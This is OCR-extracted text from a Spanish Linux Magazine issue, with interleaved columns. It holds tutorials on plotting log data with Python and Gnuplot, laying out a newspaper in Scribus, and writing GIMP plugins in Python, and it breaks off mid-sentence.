Veremos que aparece una ventana como la mostrada en la Figura 1. Es la función seno, que hemos dibujado con solo dos instrucciones. Parece interesante ¿no?. La orden plot acepta muchos parámetros. Podemos dibujar muchas funciones a la vez, usar pequeños cuadraditos o puntos para diferenciarlas, interpolar puntos, etc. Gnuplot permite además realizar muchos tipos de gráficas: de dos dimensiones, de tres dimensiones, histogramas… Una característica que nos va a resultar de mucha utilidad es que permite exportar las gráficas a formatos gráficos estándar, como gif o png. Podemos hacer todas la pruebas usando como salida una ventana de Xwindows y cuando estemos seguros de los comandos y parámetros necesarios usar como salida un archivo gráfico.
El programa Gnuplot Gnuplot está diseñado para que nos permite automatizar su uso a través de scripts compuestos por sus propios comandos. La idea es poder usarlo en una de esas famosas tuberías a través de las que los usuarios de UNIX más avanzados pueden crear aplicaciones enteras. Gnuplot necesita un terminal para funcionar que actúa como driver de impresión. Este terminal puede ser o bien una máquina, como una impresora
láser, o un fichero gráfico, como un fichero JPEG, o directamente una ventana gráfica en Xwindow. Aprovechando esta característica podemos desarrollar la configuración de una gráfica directamente en el shell de Gnuplot visualizando en una ventana. Una vez que sepamos la configuración
necesaria, solo tenemos que cambiar el terminal. Las variables se pueden ver usando el comando show: gnuplot> show terminal terminal type is x11 gnuplot>
Listado 1:gnuplotter.py 01 #!/usr/local/bin/python 02 03 from Numeric import * 04 i m p o r t G n u p l o t , Gnuplot.funcutils 05 import re; 06 07 class Grafica: 08 09 def __init__(self, cadena): 10 s e l f . g = Gnuplot.Gnuplot(debug=1) 11 self.g.title('Mi gráfica') 12 self.g('set data style linespoints') 13 self.g('set boxwidth 0.9 absolute') 14 self.g('set style fill solid 1.000000 border -1') 15 self.g('set style histogram clustered gap 5 title 0, 0') 16 self.g('set style data histograms') 17 self.g('set title \"Lineas con ' + cadena +' \"') 18 19 self.hash = {} 20 self.cadena = cadena 21 22 d e f c a r g a D a t o s ( s e l f , fichero): 23 24 archivo = file(fichero,'r') 25 26 self.hash = {} 27 28 e x p r = re.compile(self.cadena); 29 30 for linea in archivo: 31 if( re.search(expr, linea)): 32 lista = linea.split(' ') 33 fecha = lista[0]+' '+lista[1] 34 i f ( n o t self.hash.has_key(fecha)): 35 self.hash[fecha] = 1
WWW.LINUX- MAGAZINE.ES
36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
else: self.hash[fecha] = self.hash[fecha] + 1 archivo.close()
def dibuja(self): llaves = self.hash.keys() llaves.sort()
etiquetas = "set xtics (" i = 0 lista = [] for llave in llaves: etiquetas = etiquetas + "\"" + llave + "\" " + str(i) + " ,"
55 lista.append([self.hash[llave] ,i]) 56 i = i+1 57 58 etiquetas = etiquetas + "\"fin\"" + str(i) + ")" 59 60 61 self.g('set xrange [0:'+str(i-1)+']') 62 self.g('set yrange [0:30]') 63 64 self.g(etiquetas) 65 66 self.g.plot(lista) 67 r a w _ i n p u t ( ' P u l s a INTRO...\n') 68 self.g.reset() 69 70 71 if __name__ == "__main__": 72 g = Grafica('ssh') 73 g.cargaDatos('prueba.txt') 74 g.dibuja()
Número 05
37
DESARROLLO • Python
Dibujará la función seno usando lineas desde el eje en lugar de una linea que una los puntos.
Gnuplot y Python
Usando el comando help podemos ver los distintos terminales soportados, que son unos cuantos. Por el momento solo nos van a interesar los terminales x11 y JPEG. Para cambiar el tipo de terminal tenemos que cambiar el valor de la variable. Para eso está el comando set: gnuplot> set terminal pstricks Terminal type set to 'pstricks' gnuplot> set terminal x11 Terminal type set to 'x11' Options are '0' gnuplot>
Una vez definido el terminal hemos de configurar los parámetros de la gráfica. En Gnuplot se pueden configurar muchos parámetros que afectan a la gráfica. Por ejemplo, si no especificamos nada y solo le damos una serie de puntos los pondrá en la gráfica, pero no los unirá con una linea. También acepta parámetros sobre la precisión de los intervalos que usará en los ejes. Las variables se configuran con el comando set. Usando la orden de ayuda help set podemos ver todas las variables que podemos modificar. Por ejemplo, para poner título a la gráfica se usa: gnuplot> set titleU "Nuestra gráfica"
Cuando las variables han sido configuradas podemos realizar el dibujado mediante el comando plot. plot tiene muchas opciones y permite dibujar varias gráficas juntas. Cada gráfica va acompañada de los parámetros que la definen, por ejemplo: gnuplot> plot sin(x)U using impulses
38
Número 05
>>> g('set title \U "Nuestra Gráfica\"')
Una vez que tengamos el entorno configurado, invocaremos el método “plot()”. La librería “py-gnuplot” se ha diseñado para ahorrarnos trabajo en el uso de Gnuplot y permitir el uso de las funciones de “Numeric” como fuente de datos. Podemos realizar gráficas a partir de: • Ficheros • Listas de Python • Funciones de Numeric Nosotros dibujaremos a partir de una lista que generamos en nuestra búsqueda con expresiones regulares. Una peculiaridad de py-gnuplot es que realiza el dibujado de la gráfica muy rápido. Si invocamos a plot() sin más ¡no veremos nada! Para parar el programa cuando se realiza el dibujado llamaremos a raw_input() justo entre plot() y reset(). >>> a = [[1,2], [2,2], [4,5]] >>> g.plot(a) >>>
Dibujará la gráfica que formen los puntos (1,2), (2,2) y (4,5).
RECURSOS [1] Gnuplot: http://www.gnuplot.info [2] Py-Gnuplot: sourceforge.net
[4] Numeric: http://http://numeric.scipy. org/
Nuestro programa Veamos ya qué hace nuestro programa, cuyo código podemos ver en el Listado 1. Tenemos una clase llamada Gráfica con 3 métodos. El primero es __init__() y lo que hace es preparar el entorno de Gnuplot. Asigna ciertas variables y declara una variable que llamamos “hash”. Además guarda en una variable de instancia la cadena que usaremos como patrón. El segundo método es cargaDatos(). Se encarga de abrir un fichero en modo de lectura, compilar la expresión regular
WWW.LINUX- MAGAZINE.ES
http://gnuplot-py.
[3] Regular Expressions HOWTO: http:// www.amk.ca/python/howto/regex/
LOS AUTORES
Figura 2: Utilizamos gnuplot para mostrar el número de conexiones ssh de manera gráfica.
Para poder utilizar Gnuplot en Python necesitamos descargar e instalar las librerías py-gnuplot (véase recurso[2]) o mediante un paquete de nuestra distribución de Linux. Obviamente, también será necesario instalar el programa Gnuplot. En particular usaremos un método anónimo que nos permite mandar comandos a Gnuplot:
y, para cada línea del fichero, comprobar si esa línea contiene la expresión regular que buscamos. En caso de que así sea dividimos la linea usando como separador el espacio(” “). Se cogen las dos primeras palabras de la linea, que formarán una fecha, y se usan como llave para un diccionario que hemos llamado “hash”. Si esa fecha no estaba ya en el diccionario, la introducimos con un valor de 1. Si ya estaba incrementamos su valor en 1. De esta manera llevamos la cuenta del número de apariciones del patrón por fecha. El resultado final será un diccionario que almacenarán las ocurrencias del patrón por fecha. El tercer método es dibuja(). Asigna etiquetas a los puntos del eje x de la gráfica a través de la variable “xtics”. Esas etiquetas serán las fechas que usamos como llaves en el diccionario hash. Además vamos preparando una lista que contiene las coordenadas X e Y de los puntos a dibujar. Se asignan rangos para el eje X e Y y posteriormente se dibuja. El programa se compone de la creación del objeto Grafica, la invocación de su método cargaDatos() con el nombre de un fichero y la invocación del método dibuja(). Como resultado final tendremos una gráfica parecida a la ■ mostrada en la Figurado 2.
José María Ruiz actualmente está realizando el Proyecto Fin de Carrera de Ingeniería Técnica en Informática de Sistemas. Lleva 7 años usando y desarrollando software libre y, desde hace dos, se está especializando en FreeBSD, actualmente trabaja en Animatika una empresa malagueña dedicada al software libre. Pedro Orantes está cursando 3º de Ingeniería Técnica en Informática de Sistemas en Madrid, y está desarrollando su Proyecto Fin de Carrera con Jython.
Scribus • PRÁCTICO
Maquetación profesional con Scribus
TIPOGRAFIA Y TEXTOS
En la segunda parte de esta serie de tres artículos [1], Jason Walsh se mete en detalles sobre como maquetar un periódico con Scribus. Además nos enseñará como manejar los ficheros gráficos CMYK. POR JASON WALSH
E
l mes pasado, mostré como crear proyectos en Scribus y realicé los primeros pasos para maquetar nuestro periódico de ejemplo importando e insertando el nombre del periódico. También dimos un breve repaso a cómo insertar textos en los marcos de texto. Este mes, detallaremos como introducir, ajustar, encajar y resaltar el texto. Pero primero, empezaremos con la tarea de colocar una fotografía en la primera página.
Importación de Imágenes La imagen es una fotografía u otro gráfico que acompaña al artículo y se sitúa cerca de la parte de arriba de la página. El fichero de imagen se crea por separado y luego se importa en Scribus. Empezaremos colocando una imagen central en la primera página de nuestro periódico Linux. Un problema con la importación de una imagen en Scribus es la carencia general del soporte del espacio de color
CMYK en Linux. Como se mostró el mes pasado, la composición CMYK es la clave principal de la publicación profesional. Con este proceso, las imágenes en color pueden ser divididas en los
tonos cián, magenta, amarillo y negro que las componen. Aunque el rango de colores o gama, que puede ser alcanzado en la impresión CMYK es menor que la gama que se puede obtener en un moni-
Instalación del Plugin gimp-cmyk Está disponible una versión binaria del plugin gimp-cmyk, compilada para Suse Linux 8.0 de la página de los desarrolladores en: http://www.blackfiveservices. co.uk/separate.shtml Si desea compilar su propia versión o usar una distribución Linux diferente, necesitará tener las bibliotecas de ficheros para GTK, GIMP, LibTIFF y LCMS instaladas. Si lo hace, es tan sencillo como: make clean make Muchas distribuciones Linux incluyen gimp-cmyk como parte de sus instalaciones estándar de GIMP. Por ejemplo,
WWW.LINUX- MAGAZINE.ES
esta serie fue producida usando SuSE Linux 9.1 y gimp-cmyk se instaló por defecto. Si gimp-cmyk está instalado en su sistema, se pueden convertir las imágenes RGB al formato CMYK pulsando con el botón derecho sobre la foto y seleccionando Image del menú. El plugin CMYK de GIMP es útil para nuestros propósitos, pero un flujo de trabajo que no maneja CMYK en todos los pasos no es del todo ideal. En un futuro próximo, los desarrolladores de GIMP planean cambiarse a una biblioteca gráfica más genérica llamada GEGL. Este cambio permitirá el soporte nativo de CMYK.
Número 05
39
PRÁCTICO • Scribus
tor con el rojo, verde y azul, la mayoría de los tonos pueden ser reproducidos de forma correcta. El editor gráfico más importante de Linux es el GIMP, que es, a efectos prácticos un clon de Photoshop. Sin embargo, a diferencia de Photoshop, GIMP no soporta el manejo de imágenes en el espacio de color CMYK. Afortunadamente GIMP 2.0 ofrece un soporte básico de CMYK con el plugin gimp-cmyk (véase el cuadro titulado “Instalación del plugin gimp-cmyk”). El plugin gimp-cmyk permite a los usuarios convertir una imagen RGB a capas CMYK individuales (usando Perfiles de Color como origen y destino) y guardar esta colección de capas como TIFF CMYK. Para importar una imagen en Scribus, primero se selecciona New Image Frame de la barra de herramientas de Scribus y se hace click y se arrastra el marco hasta que se obtiene el tamaño más o menos deseado. Luego se importa la imagen seleccionando File>Import>Get Picture.
Acabado de la Imagen Una vez que la imagen ha sido importada, se coloca en el lugar exacto donde se quiera situar y se redimensiona si fuera necesario. Cada publicación tiene su propio estilo y esto se refleja en las guías de estilo. El “East Belfast Observer” coloca una línea negra de dos puntos de ancho alrededor de cada imagen. Esto no sólo le da un aspecto clásico sino que sirve para un propósito técnico. Muchas de las prensas de los periódicos están descalibradas. Esto quiere decir que las cuatro planchas de color se desalinean dando como resultado una imagen difuminada y sus bordes se salen del marco reservado a la misma. Una línea de dos puntos de grosor tiene el doble de ancho de una línea normal y es muy raro que una de las planchas de color tenga una descalibración mayor de dos puntos. Así pues, si la prensa está descalibrada, la línea negra ayudará a disimularlo en el resultado final. Como todas las fotografías de nuestro proyecto tendrán esta característica, tiene sentido que creemos un estilo que se pueda aplicar a cualquier imagen sin tener que hacerlo a mano cada vez. Para crear el estilo, se selecciona Edit>Line Styles. En el cuadro de diá-
40
Número 05
logo que aparece se selecciona New. En la ventana que aparece se definirá nuestro estilo de línea (Figura 2). En la parte de arriba de la ventana se introduce un nombre para el estilo, como Línea de 2pt. También en la ventana encontramos opciones para ajustar los finales de las líneas y como se juntan unas con otras. Para nuestro proyecto, dejaremos estas opciones tal y como vienen por defecto: Flat Cap y Miter Join. A continuación, establezca el ancho de la línea a 2pt y el color a negro. Para terminar, púlsese OK y el estilo quedará definido. Para aplicar el estilo, se pulsa con el botón derecho en la imagen y en la ven-
tana de propiedades que aparece se selecciona Show Properties. Se escoge la opción Line y se selecciona nuestro estilo recién creado de la lista de la parte de debajo de la ventana. Este proceso de definir un estilo y aplicarlo a una imagen es la clave de la maquetación profesional, ya que deja al usuario crear disposiciones consistentes rápidamente y con la ventaja de que se pueden rehusar a lo largo de todo el documento.
Limpieza la Página El proceso que acabo de describir hay que repetirlo para la pequeña columna de la derecha: hay que dibujar un marco,
Resolución Las imágenes en la pantalla como las que puede ver en la web tienen tradicionalmente una resolución de 72 puntos por pulgada. Eso significa que cada pulgada de la imagen se compone de 72 puntos. Si intenta imprimir las imágenes de la web, se verán mal, ya que esta resolución es demasiado baja para la impresión.
cos se imprimen a 65-85lpi, las revistas a 100-150lpi y los libros entre 150300lpi. Cada punto de semitono es a su vez compuesto por puntos más pequeños medidos en dpi. El dpi efectivo es el máximo número de estos puntos que la impresora puede imprimir por pulgada.
Cuando se imprime en casa, la mayoría de la gente crea imágenes con una resolución de 300dpi. Esta es una resolución bastante aceptable, suficientemente alta para la mayoría de los propósitos - de hecho es innecesariamente alta para un periódico. Para determinar que resolución usar en nuestras imágenes, es importante comprender que sucede con ellas. Las imágenes impresas consisten en puntos con semitonos. (Si escanea un página de un periódico o revista podrá ver estas tramas de semitonos véase la Figura 1).
La razón entre dpi y lpi está normalmente entre el 150% y 200%. Así, si su pantalla de semitonos tiene 85lpi, sus imágenes necesitan tener una resolución mínima de entre 127.5dpi y 170dpi. La baja resolución relativa de la pantalla de semitonos, 85lpi, es adecuada para los periódicos porque la tinta se esparcirá por el papel de baja calidad usado para imprimirlo. Por supuesto que no hace ningún daño tener las imágenes a mayor resolución, así que todas nuestras imágenes podrían tener una resolución de 200dpi por seguridad. Mientras esta resolución es bastante alta para un periódico y permitirá que las imágenes se puedan ampliar ligeramente, si las imágenes de 200dpi se imprimen para una revista en un papel de alta calidad, el resultado será bastante pobre.
Figura 1: Una imagen publicitaria del cómico Bill Bailey escaneada de un periódico Irlandés. Fíjese en la trama de puntos de semitonos que se encuentran por toda la imagen.
Los semitonos no se miden en puntos por pulgadas (dpi), sino en líneas por pulgada (lpi). Este proceso se llama screening. Cuanto más alto sea el valor lpi, mayor número de puntos habrá por pulgada; el resultado final será una imagen de alta resolución. Los periódi-
WWW.LINUX- MAGAZINE.ES
Scribus • PRÁCTICO
importar la imagen, ajustar el tamaño y aplicar el estilo. Un breve comentario relacionado con la fotografía irá debajo de la imagen. Por el momento lo ignoraremos pero vamos a dejar un espacio para ello. Debajo de este comentario va el código de barras ISSN y un anuncio. Los anuncios son imágenes que se crean en otra aplicación y se exportan como Encapsulated PostScript (EPS). Se importan exactamente igual que las fotografías: se dibuja un marco y se selecciona Import>Get Picture. Al contrario que las fotografías editoriales, los anuncios no tienen la línea de dos puntos de grosor que las rodean, sino que tienen un borde de un punto de grosor que forma parte de la propia imagen antes de ser importada. Con el código de barras sucede exactamente lo mismo, otro fichero EPS, aunque esta vez se crea con una aplicación especializada. De nuevo, no se necesita colocarle un borde.
Figura 3: La primera página completa, sin el texto.
Al Texto
escoja tan pocas fuentes como le sea Ahora que nuestra imagen está colocada, posible y adáptese a ellas. Esta solución prestaremos nuestra atención al texto. El le ofrecerá consistencia y claridad al lecprimer paso es seleccionar un tipo de tor. letra. Muchas fuentes han sido diseñadas En nuestro caso, todos los titulares específicamente para los periódicos. Para serán variaciones en negrita de la el diseño de un periódico fuente Gill Sans. En el serio, es necesario invescaso de los artículos, tigar y desarrollar el tipo será mejor importarla de letra. de los ficheros de texto, En el caso del “East pero para los titulares, Belfast Observer”, el simplemente hay que cuerpo del texto (es dibujar el cuadro de decir, el texto de los texto, introducirlo y artículos reales) está ajustar el estilo. puesto con la fuente llaComo con otros elemada News 701. La mentos del diseño de la News es una fuente serif, página, vamos a crear que es legible incluso un estilo para el cuerpo con tamaños pequeños, del texto (el texto prinperfecta para un percipal del artículo) y iódico. Como no tengo aplicarlo. Escoja Figura 2: Edición de los estilos una licencia para usar Edit>Paragraph Style y de las líneas. esta fuente en este seleccione New en la proyecto la sustituiré por otra fuente ventana Edit Style. Nombre este nuevo serif, Bauer Bodoni. Cualquier fuente estilo como Body Text News (Figura 4). serif bien diseñada, como la Times, será Las opciones que vamos a usar son adecuada para el cuerpo del texto, pero las siguientes: La fuente será Bauer las fuentes como la News tiene ventajas Bodoni Regular a 10pt. El tamaño que de espacio al estar diseñadas específicaha de seleccionar para su tipo depenmente para su uso en periódicos. derá de las medidas de la fuente partiPara finalizar, la clave para un buen cular. Por ejemplo, una fuente relativauso de las fuentes es bastante sencilla: mente grande como la News 701 se
WWW.LINUX- MAGAZINE.ES
pondría a 8pt, donde una Times, probablemente la quisiera a 12pt. El espaciado de la línea se ajusta al 110% del tamaño de la fuente, es decir, si la fuente está a 10pt, use 11pt donde con una fuente con 8pt sería 8.8pt, y así sucesivamente. Esto es mucho más rígido que el valor por defecto y le dará al texto un aspecto más denso y serio. La mayoría del resto de las opciones son cuestión de gustos. En este caso, se tomó la decisión de establecer los artículos en formato justificado (el texto cubrirá ambos bordes de la columna). De nuevo, esto le añade un aspecto serio al texto. Evítese a toda costa el centrado y la alineación a la derecha: estas opciones no son útiles para el cuerpo del texto. El resto de las opciones se pueden dejar con los valores predeterminados. Púlsese “OK” y volverá a la ventana Edit Styles. Resalte Body Text News y seleccione Duplicate. Cambie el nombre a Body Text Comment y cambie la alineación a Align Text Left. Pulse OK. Así como los artículos de noticias se benefician del texto justificado, haciendolos parecer más denso, los comentarios, las opiniones y los artículos de entretenimiento se benefician de la alineación a la izquierda, haciéndolos parecer más ligero el borde derecho
Número 05
41
PRÁCTICO • Scribus
Diccionario de Tipos ¿Qué significan todos esos términos? Serif y Sans-serif Aunque hay muchas subcategorías, la división básica de las fuentes está en fuentes serif y sans-serif. Serifs son pequeños detalles que se encuentran al final de los trazos de las letras, representando en realidad marcas cinceladas por los artesanos romanos. Las fuentes Serif se consideran más elegantes, sobrias, serias y legibles, así pues son utilizadas comúnmente para grandes bloques de texto - échele un vistazo a una novela o periódico. Una fuente sans-serif (o, menos común, Grotesque) no tiene estos detalles. Su aspecto moderno y dinámico las hacen adecuadas para elementos de textos grandes, como titulares, textos de carteles y libros de arte moderno. Leading y Line Spacing Line Spacing, tal y como aparece en Scribus, es normalmente conocido como leading - lead se refiere a las tiras de plomo usadas para crear el espacio entre las líneas en los días de las imprentas mecánicas. El leading permite a los diseñadores alterar la densidad de los bloques de texto. Los periódicos son bastante den-
desigual. Cierre la ventana de Edición de Estilos.
Importación y Ajuste del Texto
sos y su espacio entre líneas es mayor que los encontrados en revistas, folletos o carteles. Kerning y Tracking Cuando se diseña un tipo de letra, el diseñador asigna a cada carácter un ancho, permitiendo a los
Figura 5: Tipos Serif y Sans-serif. caracteres consecutivos colocarse en una línea sin que lleguen a tocarse. Sin embargo, las intenciones de un diseñador de tipos puede que no sean las mismas que las suyas. El kerning le permite ajustar manualmente el espacio entre dos caracteres cualesquiera. El tracking le permite aplicar una forma de espaciado universal entre todos los caracteres. Por ello, es una opción potente y una vez que haya encontrado una configuración que considere adecuada, será mejor que no la vuelva a tocar y ajuste el kerning manualmente para los cambios futuros.
tar el texto y hacerlo que coincida. Esta es una de las razones claves por las que las páginas son maquetadas por los subeditores y no por los diseñadores: una comprensión de las reglas del lenguaje hacen que la historia fluya bien a lo largo del artículo. Editemos nuestro artículo de primera página. Hay que dibujar un marco de
texto bajo el titular con la misma anchura, pero lo suficientemente larga como para que llegue al pie de la página, digamos a unos 1,5 cm desde el margen. Abajo, dibuje otro marco similar que llegue al margen del pie de página. Este marco contendrá información sobre más cosas que contendrá el periódico y dictará cuanto bajará la historia en la página. Se importa el texto de la forma normal. (Se resalta el marco de texto y se selecciona File>Import>Get Text.) A continuación, se aplica el estilo Body Text News seleccionándolo de Tools>Properties. En el cuadro de diálogo, seleccione el texto y escoja el estilo apropiado (Body Text News). Luego, se selecciona Shape y se marcan 3 columnas. Recuerde hacer un espacio entre las columnas de unos 2mm. Esto se hace editando el valor en la sección Shape de Properties. Descarte el cuadro de diálogo Properties. Cualquier fichero de un tamaño razonable valdrá. En este caso, estamos usando una copia de las cien primeras palabras de este artículo, ya que no tenemos acceso a la historia completa. Ahora la mejor parte (o la peor, según se mire): Hay que editar el texto manualmente para ajustarlo al espacio asignado, justo como se haría con un procesador de textos.
Toques Finales
Ya lo único que queda es darle los toques Si se mira con detenimiento un periódico finales a la página. En la Figura 6, se se dará cuenta que, al contrario que la puede ver los elementos restantes que se mayoría de las revistas, los artículos necesitan añadir. encajan exactamente en los espacios Primero, hay que añadir el titular para reservados a ellos, sin el artículo secundario en dejar espacios en blanel lado derecho de la cos debajo de la página. La fuente para el última línea. Esto titular se ha establecido a ayuda a darle un Gill Sans Bold; hay que aspecto más formal y ajustar el tamaño para profesional a las págique encaje. nas del periódico y Lo siguiente es, debajo obviamente, predel primer artículo, tendemos replicarlo en añadir de nuevo la fuente nuestro periódico de Gill Sans Bold a los ejemplo. Sutilmente, detalles de los contenidos ajustando el formato y internos del periódico. seguimiento del texto Recuerde que ya hemos se conseguirá el efecto dejado un marco para deseado, pero la única ello. forma de hacerlo de A continuación, debajo Figura 4: El cuadro de diálogo usado para establecer los estilos del texto. forma perfecta es edidel nombre del periódico,
42
Número 05
WWW.LINUX- MAGAZINE.ES
Scribus • PRÁCTICO
En nuestro caso estamos usando una foto publicitaria de la actriz francesa Audrey Tautou y una imagen promocional de alta resolución de un iPod, bajada de la página web de Apple.
Pare, Repita, nuevo
Repita
de
Ahora, que casi hemos terminado la primera página, el proceso se tiene que repetir para el resto de las otras páginas. La última página está emparejada con la primera página y tradicionalmente en los periódicos anglófonos, esta página es de deportes. Las otras dos páginas son la portada de la sección de entretenimiento y una página de noticias. Si ha seguido las dos partes de este tutorial, será capaz de crear páginas similares fácilmente.
Y el mes que viene… En el último artículo de esta serie, daremos los toques finales a nuestras páginas del periódico, explicando como usar plantillas para crear documentos multipáginas y le echaremos un vistazo a la forma en la que tendremos que llevar nuestras páginas a la imprenta. También tendremos nuestro periódico terminado ■ evaluado por un profesional.
RECURSOS [1] Para la primera parte de esta serie, visita http://www.linux-magazine.es/ issue/04 Figura 6: La primera página completa.
Destacados El mes pasado escribimos “The new newspaper for East Belfast” en lo alto de la caja de texto que está a la izquierda. Ahora lo retomaremos y empezaremos el proceso que añadirá el texto y las imágenes a las otras dos cajas. Hay que dibujar un marco de texto sobre la caja que está más a la izquierda y hay que añadir las palabras: “The new newspaper for East Belfast”. Ahora se ajusta la fuente, el tamaño y el espaciado
de línea. Pondremos el valor de 42pt para el tamaño del texto, Gill Sans Italic para el tipo de fuente y 36pt para el espaciado de línea. Hay que colocar el marco de texto de modo que coincida con la caja azul. A continuación, se dibujan dos marcos de imágenes, cada una sobre las cajas de texto restantes. Dentro de estos marcos, importaremos fotografías, pero primero tendremos que Ωtrazar” las imágenes. Esto quiere decir que hay que dibujar una línea alrededor de la zona de la imagen que queramos usar, permitiendo a Scribus que descarte el resto de la imagen. Se abre la imagen en el programa de edición de imágenes que se prefiera. Si el editor es el PixelFX!, Photopaint o GIMP en Linux o Photoshop en Mac/Windows, el proceso es similar y se explicará como hacerlo en el artículo del próximo mes.
WWW.LINUX- MAGAZINE.ES
[3] News Page Designer: http://www. newspagedesigner.com/ [4] Society for News Design: http://www. snd.org [5] News Today: http://newstoday.com/
EL AUTOR
pero por encima de la imagen principal hay un destacado para la sección de entretenimiento. Este destacado consiste en un marco de imagen y un marco de texto. La última tarea es terminar los tres destacados principales del encabezado de la página.
[2] Scribus: http://www.scribus.org.uk/
Jason Walsh fue el director artístico en el East Belfast Observer desde su lanzamiento en enero del 2004 hasta julio del 2004, anteriormente fue el director artístico de la revistas irlandesas Gorgeus and CityCraic. Actualmente trabaja como periodista y ha contribuido artículos a Linux Magazine, Mute, The Guardian y muchos otros periódicos y revistas de arte, diseño y tecnología.
Número 05
43
PRÁCTICO • Gimp script
Archivos de comandos con GIMP
PINCELADAS www.photocase.de
Muchos usuarios recurren a GIMP para el retoque de sus imágenes, no dándose cuenta de que GIMP también tiene una serie de capacidades que nos permiten automatizar tareas repetitivas. El lenguaje de programación Python es una útil alternativa al dialecto Lisp, integrado en GIMP. POROLIVER OLIVERFROMMEL FROMMEL GIMP POR
E
l programa de manipulación de imágenes GIMP dispone de una gran variedad de útiles funciones. Pero navegar por un complicado menú tipo árbol puede ser una molestia si necesitamos aplicar las mismas herramientas a un gran número de imágenes. Afortunadamente, GIMP tiene integrado una interfaz de programación que permite a los usuarios hacer archivos de comandos para las tareas repetitivas. Dicho esto, el lenguaje de programación Scheme [1] no es la idea que normalmente tenemos de algo divertido, puesto que su sintaxis orientada a paréntesis es difícil de aprender. No es sorprendente que los fans de otros lenguajes de programación hayan encontrado alternativas. La interfaz Perl, GIMP-Perl, es relativamente avanzada y soporta un modo de servidor en el cual GIMP analiza gramaticalmente archivos de comandos sin necesidad de ejecutar el GUI.
El Ubicuo Python El modo Perl no aparece en las versiones de GIMP incluidas en la mayoría de la distribuciones de Linux. Sin embargo, GIMP Python se estableció como una alternativa genuina a Scheme y está disponible para la mayoría de sabores de Linux. Los
44
Número 05
usuarios de Suse no tienen esta suerte puesto que no disponen de GIMP Python en su sistema por defecto. Los usuarios de Fedora no tienen de que preocuparse. Los de Debian y los de Ubuntu puede que necesiten instalar el paquete gimp-python.
Plug-in Las entradas que necesitamos para el plug-in Python están localizadas en el menú principal bajo Xtns | Python-Fu. Podemos ejecutar Test | Sphere (Prueba | Esfera) para comprobar nuestra instalación. Tras confirmar el cuadro de diálogo que aparece pulsando OK, el archivo de comandos debería dibujar una esfera roja sombreada en nuestra pantalla. GIMP mostrará cualquier mensaje de error que ocurra en la ventana terminal desde la que fue arrancado. Si arrancamos el archivo de comandos a través del menú basado en GUI tendremos que abrir la ventana de errores de GIMP seleccionando File | Dialogs | Error console (Archivo | Diálogos | Consola de errores). Debemos saber que la consola no nos muestra todos los errores que ocurran. Los programadores de GIMP seguramente preferirán lanzar sus programas en una ventana terminal para enterarse de todo.
WWW.LINUX- MAGAZINE.ES
La herramienta más importante para construir programas GIMP es el navegador de bases de datos procesales (PDB) que aparece en la figura 1. El navegador PDB está localizado en el menú principal bajo Xtns | Python-Fu | PDB Browser. Lista las funciones disponibles para los programadores de archivos de comandos para GIMP. Por ejemplo, file_jpg_load carga un archivo JPG. Podemos ejecutar métodos como este directamente en la consola incrustada Python (Xtns | Python-Fu | Console). El navegador es nuestra mayor fuente de información sobre las funciones que ofrece nuestra versión de GIMP. Muchos tutoriales de Internet están desfasados, por lo que es una buena cosa que la herramienta de búsqueda nos permita restringir la elección de funciones a las que estemos interesados. Si realizamos una búsqueda buscando layer, por ejemplo, el buscador nos mostrará las funciones que comparten este criterio. Entonces podemos pulsar sobre cualquier función del campo de la parte izquierda para ver información sobre ésta en la navegador PDB de la derecha. Por supuesto, los parámetros de entrada (In) y retorno (Out) son tan importantes como las propias funciones.
Gimp Script • PRÁCTICO
Listado 1: Un archivo de comandos GIMP simple 01 #!/usr/bin/python 02 03 from gimpfu import * 04 05 d e f p y t h o n _ s i m p l e ( i m g , drawable): 06 gimp.message("Example") 07 08 register( 09 "python_fu_simple", 10 "Displays a dialog", 11 "Help: Displays a dialog", 12 "Oliver Frommel", 13 "LinuxMagazine", 14 "2005", 15 "<Image>/Python/Simple", 16 "*", 17 [], 18 [], 19 python_simple) 20 main()
Registro de Módulos La estructura básica de un módulo Python es muy simple: una llamada a register para introducir el nuevo módulo a GIMP y una o más funciones para hacer el resto del trabajo. Nuestro primer ejemplo será uno simple que solo desplegará un dialogo. Buscando con el navegador PDB nos lleva a la función gimp_message, la cual tiene solo un parámetro: la ventana de texto que se supone que se debe mostrar. El método register espera al menos once parámetros en el siguiente orden: nombre del módulo, descripción, fecha, ruta del menú, formatos de imagen permitidos, parámetros del módulo, buffer de memoria para el valor de retorno y función operativa. Tras registrarlo, la primera llamada debe ser al principal (main()). Nuestro ejemplo usa un módulo llamado python_fu_simple. Éste es el nombre que nosotros (y otros módulos) usaremos para llamarlo tras el registro. Los siguientes cuatro parámetros deberían ser fáciles, puesto que implican códigos de archivos con fines internacionales. La ruta del menú es más importante debido a que hay dos tendencias: para el menú principal de GIMP o para el menú contex-
tual (que aparece con el botón derecho del ratón) en cualquier imagen. La primera parte del archivo de comandos del menú principal tiene que ser <Toolbox>, Figura 1: El buscador de GIMP integrado con un campo de búsqueda mientras que para en la parte inferior izquierda. A la derecha se describe la función PDB. el desplegable de una imagen es <Image>. Este prefijo es módulo y funciones de GIMP que usan filseguido, separado por un guión, por la tros de selección. ruta a la que GIMP accederá cuando se le La idea básica es muy simple. El requiera: <Image>/Python/Simple. archivo de comandos usa una función El siguiente parámetro especifica los para seleccionar una elipse del mismo tipos de imágenes (no formatos) que el tamaño que la imagen, y entonces archivo de comandos puede gestionar, o invierte la selección y la rellena con la lo que es lo mismo, imágenes color con el herramienta de relleno. Los valores de canal alpha (RGBA) o sin el (RGB), o imátransparencia adecuados y un gradiente genes en escala de grises (GRAY). Si el hacen que el borde entre la viñeta y la módulo no es muy quisquilloso, simpleimagen no tenga costuras, cosa necesaria mente podemos usar un comodín (*). para este efecto. Finalmente tenemos los parámetros de El registro del módulo es similar al del entrada y salida y el nombre de la función ejemplo previo, pero en esta ocasión operativa. El listado 1 contiene un ejemnecesitamos algunos parámetros de plo mínimo pero funcional. entrada. GIMP generará automáticamente El módulo función es llamado una caja de diálogo que coincida con los python_fu_simple (línea 9), y la función parámetros de entrada. Para cada operativa python_simple. La función parámetro, entre paréntesis, tendremos operativa siempre tiene los parámetros cuatro valores. El primer valor especifica img y drawable (línea 5), los cuales GIMP el tipo de parámetro, siendo el segundo la pasa automáticamente a la función, cadena de caracteres con el nombre de la estando la lista de parámetros de entrada variable. Esto será utilizado por el archivo de la línea 17 vacía. La línea 3 muestra de comandos, por ejemplo, por la función como cargar el módulo GIMP en Python. operativa. A continuación otra cadena de Para continuar con el ejemplo, caracteres (esto es una descripción de los guardamos el listado como simple.py bajo parámetros), y finalmente un valor por el directorio 